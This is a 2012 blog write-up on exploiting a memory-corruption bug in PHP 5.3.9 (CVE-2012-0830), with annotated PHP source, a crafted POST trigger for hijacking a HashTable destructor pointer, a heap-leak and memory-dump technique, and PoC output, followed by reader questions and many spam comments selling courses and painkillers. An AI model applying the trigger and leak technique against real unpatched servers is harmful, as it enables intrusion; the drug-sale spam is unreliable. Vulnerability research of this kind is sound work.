Sunday, February 5, 2012

Mini-PoC for PHP 5.3.9 RCE (CVE-2012-0830)

As topic said mini, it is mainly my idea (+some code) to exploit this bug. I still cannot do real code execution now. Looking at diff patch, it is obvious there is a bug when input is array and the number of input equals max_input_vars. Here is full vulnerable function. I will show only related code.

/* ... */
if (is_array) {
    while (1) {
        /* ... */
        if (zend_symtable_find(symtable1, escaped_index, index_len + 1, (void **) &gpc_element_p) == FAILURE // [1]
            || Z_TYPE_PP(gpc_element_p) != IS_ARRAY) { // [2]
            if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [3]
                if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
                    php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
                }
                MAKE_STD_ZVAL(gpc_element);
                array_init(gpc_element);
            }
            zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
        }
        /* ... */
        symtable1 = Z_ARRVAL_PP(gpc_element_p); // [4]
        /* ... */
        goto plain;
    }
} else {
plain_var:
    MAKE_STD_ZVAL(gpc_element);
    gpc_element->value = val->value;
    Z_TYPE_P(gpc_element) = Z_TYPE_P(val);
    /* ... */
    if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [5]
        if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
        }
        zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); // [6]
    } else {
        zval_ptr_dtor(&gpc_element);
    }
    /* ... */
}

At [3], if a number of elements in array equals max_input_vars, program still continues looping. When program reachs [4], the 'gpc_element_p' is treated as array (no type check). But it might not be array if the program did not go inside [3]. That is a problem.

When looking closely at [1] and [2], the code at [1] might find the element but it is not array. The element must be string because all input are treated as string or array. Also the element is our input that parsed before the max_input_vars condition met. Then At [4], our string is treated as array. So we can create fake HashTable. If our input name does not have more array nest, the PHP will go to [5]. Then inserting/updating input into fake array at [6].

To control EIP/RIP, there is 'pDestructor' in HashTable struct. If we can make PHP removing a element inside this HashTable, the program will jump to 'pDestructor' address. Easy??. All we need is 'arBuckets' must point to valid address that has NULL value (check _zend_hash_index_update_or_next_insert() in zend_hash.c).

Because PHP filter extension is enabled by default (compile option), the php_register_variable_ex() is called twice for each input but different array. So first time for filter array, the input is inserted into fake array. Then the array is updated and 'pDestructor' will be called. Below is input for controlling EIP/RIP.

1=&2=&3=&...&999=&0=<fake HashTable with valid arBuckets address>&0[0]=

Because of ASLR+NX(+PIE), just controlling EIP is useless. I need some info leak. Here is my result for 32 bit only (php_rce_poc.py) (I debugged the PHP with PHP-FPM).

First, there is some PHP page on server that has code like this.

<?php
echo $_POST['a']."\n";
for ($i = 0; $i < 8192; $i++)
    echo " "; // to make PHP flush the buffer output

When input is inserted into array, a HashTable will be updated. We can use this fact to leak a heap address. But the trigger input will be inserted for filter array first, so the input will be updated for $_POST array. This is bad because updating is modified only 'pDataPtr' in 'Bucket' struct.

What I did is creating fake HashTable, arBuckets, Bucket in an input instead of HashTable only. If I guess the address correctly, the 'pDataPtr' in fake Bucket will be updated. To increase the chance, I create multiple fake arBuckets and Buckets (see create_big_fake_array_search() in my code). When allocating big memory block, it is always allocated outside main heap (And address always ending with 0x018 on my box). After this brute forcing, I got the start address of fake data and a heap address of latest element.

Just a heap address is not enough for code execution. I need more. When looking updating data in array code (below), I found something interesting. If 'pData' does not point 'pDataPtr', 'pData' will be freed first.

#define UPDATE_DATA(ht, p, pData, nDataSize)           \
    if (nDataSize == sizeof(void*)) {                  \
        if ((p)->pData != &(p)->pDataPtr) {            \
            pefree_rel((p)->pData, (ht)->persistent);  \
        }                                              \
        memcpy(&(p)->pDataPtr, pData, sizeof(void *)); \
        (p)->pData = &(p)->pDataPtr;                   \
    }

If I set 'pData' in fake Bucket to the address of $_POST['a'] (zval struct). It will be freed. Then, I trick PHP to allocate craft string on that memory area. Finally, I can alter zval struct of $_POST['a'] to point to any address and the PHP code will echo the data in that memory area to me. But after altering the zval struct, the PHP will crash when clearing all variables. That's why I add the PHP code for flushing the output.

I can trick PHP to allocate on just freed memory area because in php_sapi_filter(), the estrndup() is called (at line 479) almost immediately after called php_register_variable_ex() (at line 461). With the Zend Memory Management Cache that I described a little in this post, all I need to do is using the trigger input value to be fake zval struct.

I still cannot find the way to know the exact address of $_POST['a']. I do brute forcing again. I know the heap address. It must be near. I test the result from dumping my fake HashTable. My method for brute forcing $_POST['a'] address is not reliable. Especially when PHP-FPM has many children.

Here is my output (code again php_rce_poc.py)

$ python php_rce_poc.py
Trying addr: b6c00018
Trying addr: b6c40018
Trying addr: b6c80018
Trying addr: b6cc0018
Trying addr: b6d00018
Trying addr: b6d40018
Trying addr: b6d80018
Trying addr: b6dc0018

Fake addr: b6dc0018
Heap addr: 08fe3180

Bruteforcing param_addr...
param addr: 08fe30a0
dumping memory at 0x08048000
⌂ELF☺☺☺         ☻ ♥ ☺   04

After able to dump any memory address + controlling EIP/RIP, it is highly possible to do code execution. That's it for me.

Update (5 Feb 2012): a little change on my code (php_rce_poc2.py).

  • Increase the search fake chunk range to make it work on apache2/mod_php5
  • Dump data at least 8192 bytes. So no need the PHP code for flushing output buffer.

90 comments:

  1. Very nice writeup. I've been trying to exploit this myself and this gave me some really good pointers.

    ReplyDelete
  2. Soooo we basically end up with... this yea... :




    and ofc maybe could addin a little echo ""; to flush buffer.. but, the argv is, an arg ;)

    KrYptiK

    ReplyDelete
  3. I am on Ubuntu 11.10 and the string is stored on the heap. How exactly is code execution possible if one only controls EIP and the EDI register? You can't place code on the heap because of NX.

    ReplyDelete
  4. can you elaborate on "Because PHP filter extension is enabled by default (compile option), the php_register_variable_ex() is called twice for each input but different array"? where is called twice? I've just tested it and it's called just once....

    ReplyDelete
  5. yeah, thanks, for me php_sapi_filter was not hit because i have configured php with --disable-all (which disabled filter extension). Another question
    Where does address '0xb6c00018' come from in the python script?

    ReplyDelete
  6. Am i wrong or magic_quotes have to be set to 0 in order for estrndup to be called on line 479 as you say above? Which means it will not work on default installations.....

    Also what do you mean by:
    "When input is inserted into array, a HashTable will be updated. We can use this fact to leak a heap address. "

    How??

    ReplyDelete
  7. I have seen that all will say the same thing repeatedly. But in your blog, I had a chance to get some useful and unique information. I would like to suggest your blog in my dude circle. please keep on updates. Hope it might be much useful for us. keep on updating.
    PHP Training in Chennai

    ReplyDelete
  8. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    python interview questions and answers
    python tutorials
    python course institute in electronic city

    ReplyDelete
  9. Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging.
    rpa training in Chennai | rpa training in bangalore | best rpa training in bangalore | rpa course in bangalore | rpa training institute in bangalore | rpa training in bangalore | rpa online training

    ReplyDelete
  10. From your discussion I have understood that which will be better for me and which is easy to use. Really, I have liked your brilliant discussion. I will comThis is great helping material for every one visitor. You have done a great responsible person. i want to say thanks owner of this blog.
    angularjs-Training in pune

    angularjs Training in bangalore

    angularjs Training in bangalore

    angularjs Training in chennai

    automation anywhere online Training

    angularjs interview questions and answers

    ReplyDelete
  11. You have worked to perfection on this article. Thanks for taking the time to post search valuable information. I Recommendation this. JSON Formatter Online

    ReplyDelete
  12. English Nursery Rhymes for kids: Here you can find the lyrics of 30 of the ... 30 Popular Nursery Rhymes For Kids in English . Hindi Songs Lyrics

    ReplyDelete
  13. Welcome to AZLyrics! It's a place where all searches end! We have a large, legal, every day growing universe of lyrics where stars of all genres and ages shine.

    ReplyDelete
  14. Inspiring writings and I greatly admired what you have to say , I hope you continue to provide new ideas for us all and greetings success always for you.
    Keep update more information..


    Selenium training in bangalore
    Selenium training in Chennai
    Selenium training in Bangalore
    Selenium training in Pune
    Selenium Online training
    Selenium interview questions and answers

    ReplyDelete
  15. Inspiring writings and I greatly admired what you have to say , I hope you continue to provide new ideas for us all and greetings success always for you.
    Keep update more information..
    apple service center chennai
    apple service center in chennai
    apple mobile service centre in chennai
    apple service center near me

    ReplyDelete
  16. Nice post. Thanks for sharing! I want people to know just how good this information is in your article. It’s interesting content and Great work.
    Thanks & Regards,
    VRIT Professionals,
    No.1 Leading Web Designing Training Institute In Chennai.

    And also those who are looking for
    Web Designing Training Institute in Chennai
    SEO Training Institute in Chennai
    Photoshop Training Institute in Chennai
    PHP & Mysql Training Institute in Chennai
    Android Training Institute in Chennai

    ReplyDelete
  17. Great post! I am actually getting ready to across this information, It’s very helpful for this blog.Also great with all of the valuable information you have Keep up the good work you are doing well.
    R Training Institute in Chennai | R Programming Training in Chennai

    ReplyDelete
  18. Hey Nice Blog!! Thanks For Sharing!!!Wonderful blog & good post.Its really helpful for me, waiting for a more new post. Keep Blogging!
    SEO company in coimbatore
    SEO company
    web design company in coimbatore

    ReplyDelete
  19. The article is so informative. This is more helpful.
    software testing training courses
    selenium classes Thanks for sharing

    ReplyDelete
  20. Thank you for benefiting from time to focus on this kind of, I feel firmly about it and also really like comprehending far more with this particular subject matter. In case doable, when you get know-how, is it possible to thoughts modernizing your site together with far more details? It’s extremely useful to me.

    ReactJS Online Training

    ReplyDelete
  21. Wow, amazing blog layout! How long have you been blogging for? you make blogging look easy. The overall look of your website is fantastic, let alone the content!

    3d animation Company
    Best Chatbot Development Company
    Mobile app development in Coimbatore

    ReplyDelete
  22. Nice Post! Thank you for sharing very good post, it was so Nice to read and useful to improve my knowledge as updated one, keep blogging.
    Angular js Training in Electronic City

    ReplyDelete
  23. This comment has been removed by the author.

    ReplyDelete
  24. Good article.
    For data science training in bangalore,visit:
    Data science training in bangalore

    ReplyDelete
  25. Nice Blog.
    For Blockchain training in bangalore, visit:
    Blockchain training in bangalore

    ReplyDelete
  26. Nice Post It was so informative. Are you looking for the best automatic gates in India. Click here: Automatic gates India | aluminium folding gates

    ReplyDelete
  27. nice blog
    get best placement at VSIPL

    digital marketing services
    web development company
    seo network point

    ReplyDelete
  28. nice blog
    get best placement at VSIPL

    digital marketing services
    web development company
    seo network point

    ReplyDelete
  29. it's very interesting, Thanks for sharing a piece of valuable information to us & Knowledgeable also, keep on sharing like this.

    ReplyDelete
  30. Aluminium Composite Panel or ACP Sheet is used for building exteriors, interior applications, and signage. They are durable, easy to maintain & cost-effective with different colour variants.

    ReplyDelete
  31. nice blog
    get best placement at VSIPL

    get digital marketing services
    seo network point

    ReplyDelete
  32. Soma pill is very effective as a painkiller that helps us to get effective relief from pain. This cannot cure pain. Yet when it is taken with proper rest, it can offer you effective relief from pain.
    This painkiller can offer you relief from any kind of pain. But Soma 350 mg is best in treating acute pain. Acute pain is a type of short-term pain which is sharp in nature. Buy Soma 350 mg online to get relief from your acute pain.

    https://globalonlinepills.com/product/soma-350-mg/


    Buy Soma 350 mg
    Soma Pill
    Buy Soma 350 mg online



    Buy Soma 350 mg online
    Soma Pill
    Buy Soma 350 mg

    ReplyDelete

  33. When you feel any kind of body pain, it is best if you go to the doctor for treating it. Sometimes body pain can be the symptom of some serious disease. Sometimes body pain attacks us suddenly because of which you may not able to get the help of the doctor. In those situations, to get quick and effective pain relief, you can take the help of painkillers though they cannot cure your pain. As your painkiller, choose Tramadol 50 mg which is very effective. This painkiller is available in the market with the name of Ultram. To use this painkiller, you can get it easily. Buy Tramadol online and get this painkiller at an affordable price.
    Buy Tramadol online

    ReplyDelete
  34. A IEEE project is an interrelated arrangement of exercises, having a positive beginning and end point and bringing about an interesting result in Engineering Colleges for a particular asset assignment working under a triple limitation - time, cost and execution. Final Year Project Domains for CSE In Engineering Colleges, final year IEEE Project Management requires the utilization of abilities and information to arrange, plan, plan, direct, control, screen, and assess a final year project for cse. The utilization of Project Management to accomplish authoritative objectives has expanded quickly and many engineering colleges have reacted with final year IEEE projects Project Centers in Chennai for CSE to help students in learning these remarkable abilities.



    Spring Framework has already made serious inroads as an integrated technology stack for building user-facing applications. Spring Framework Corporate TRaining the authors explore the idea of using Java in Big Data platforms.
    Specifically, Spring Framework provides various tasks are geared around preparing data for further analysis and visualization. Spring Training in Chennai


    ReplyDelete
  35. This is really an awesome post, thanks for it. Keep adding more information to this.mulesoft training in bangalore

    ReplyDelete
  36. Really it was an awesome article,very interesting to read.You have provided an nice article,Thanks for sharing.salesforce developer training in bangalore

    ReplyDelete
  37. Being new to the blogging world I feel like there is still so much to learn. Your tips helped to clarify a few things for me as well as giving.salesforce admin training in bangalore

    ReplyDelete
  38. Linking is very useful thing.you have really helped lots of people who visit blog and provide them use full information.servicenow training in bangalore

    ReplyDelete
  39. Your articles really impressed for me,because of all information so nice.cloud computing training in bangalore

    ReplyDelete
  40. Thank you for excellent article.You made an article that is interesting.
    Best AWS certification training courses. Build your AWS cloud skills with expert instructor- led classes. Live projects, Hands-on training,24/7 support.
    https://onlineidealab.com/aws-certification/


    ReplyDelete
  41. Really very nice blog information for this one and more technical skills are improve,i like that kind of post.hadoop training institutes in bangalore

    ReplyDelete
  42. I think this is one of the most significant information for me. And i’m glad reading your article. Thanks for sharing!

    Bangalore Training Academy located in Bangalore, is one of the best Workday Training institute with 100% Placement support. Workday Training in Bangalore provided by Workday Certified Experts and real-time Working Professionals with handful years of experience in real time Workday Projects.

    ReplyDelete
  43. Really very happy to say, your post is very interesting to read. I never stop myself to say something about it. You’re doing a great job. Keep it up…

    Became An Expert In Selenium ! Learn from experienced Trainers and get the knowledge to crack a coding interview, @Softgen Infotech Located in BTM Layout.

    ReplyDelete
  44. Wonderful thanks for sharing an amazing idea. keep it...

    Softgen Infotech is the Best HADOOP Training located in BTM Layout, Bangalore providing quality training with Realtime Trainers and 100% Job Assistance.

    ReplyDelete
  45. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete
  46. Really great blog…. Thanks for your information. Waiting for your new updates.

    AngularJS Training in Pune
    RPA Training in Pune

    Devops Training in Pune

    ReplyDelete
  47. Thanks for Sharing This Article.It is very so much valuable content. I hope these Commenting lists will help to my website
    top servicenow online training

    ReplyDelete
  48. After reading your article I was amazed. I know that you explain it very well. And I hope that other readers will also experience how I feel after reading your article.
    data analytics courses

    data science interview questions

    business analytics courses

    data science course in mumbai

    ReplyDelete